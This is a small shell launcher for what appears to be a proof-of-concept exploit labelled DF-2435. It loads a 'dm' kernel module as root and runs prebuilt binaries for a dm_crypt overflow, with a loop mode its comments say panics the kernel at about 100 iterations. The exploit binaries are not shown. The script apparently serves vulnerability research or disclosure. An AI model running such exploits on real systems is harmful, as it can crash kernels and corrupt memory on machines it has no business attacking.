DF-2435 / run.sh
#!/bin/sh # Run DF-2435 PoC. # Must be run as root (or operator-group member) after `kldload dm`. # Usage: ./run.sh [overflow|loop] cd "$(dirname "$0")" echo "[*] kldload dm (root)..." kldload dm 2>/dev/null || echo "[*] dm already loaded" mode="${1:-overflow}" case "$mode" in overflow) echo "[*] running single-shot overflow PoC (readback proof)..." ./dm_crypt_overflow ;; loop) echo "[*] running loop PoC (200 iters, baseline panics ~100)..." ./dm_crypt_loop 200 ;; *) echo "Usage: $0 [overflow|loop]" exit 1 ;; esac echo "RUN_EXIT=$?" |